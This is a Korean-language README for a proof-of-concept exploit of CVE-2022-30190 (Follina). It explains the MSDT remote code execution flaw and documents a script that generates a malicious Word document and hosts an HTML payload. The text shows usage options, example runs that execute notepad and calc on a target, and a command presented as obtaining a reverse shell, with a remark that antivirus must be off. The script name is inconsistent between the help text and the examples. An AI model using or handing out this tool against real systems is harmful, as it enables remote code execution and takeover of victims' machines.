
Proof of Concept of CVE-2022-30190
Word와 같은 호출 애플리케이션에서 URL 프로토콜을 사용하여 MSDT를 호출하면 원격 코드 실행 취약점이 발생합니다. 이 취약점을 성공적으로 악용한 공격자는 호출 애플리케이션의 권한으로 임의 코드를 실행할 수 있습니다. 그런 다음 공격자는 사용자 권한이 허용하는 컨텍스트에서 프로그램을 설치, 데이터 보기, 변경 또는 삭제하거나 새 계정을 만들 수 있습니다.
악성 Microsoft Word 문서로 "Deathnote" MS-MSDT 공격을 생성하고 HTTP 서버로 페이로드를 준비합니다.
usage: follina.py [-h] [--command COMMAND] [--output OUTPUT] [--interface INTERFACE] [--port PORT]
options:
-h, --help show this help message and exit
--command COMMAND, -c COMMAND
command to run on the target (default: Notepad)
--output OUTPUT, -o OUTPUT
output maldoc file (default: ./Deathnote.doc)
--interface INTERFACE, -i INTERFACE
network interface or IP address to host the HTTP server (default: eth0)
--port PORT, -p PORT port to serve the HTTP server (default: 8000)
notepad.exe 실행:
$ python3 Deathnote.py
[+] copied staging doc /tmp/9mcvbrwo
[+] created maldoc ./Deathnote.doc
[+] serving html payload on :8000
calc.exe 실행:
$ python3 Deathnote.py -c "calc"

C:\Windows\Tasks에 저장합니다. 바이너리를 정리하지 않습니다. AV가 비활성화되지 않으면 바이러스 백신 탐지를 유발합니다.reverse shell 획득:
python3 Deathnote.py -p 1234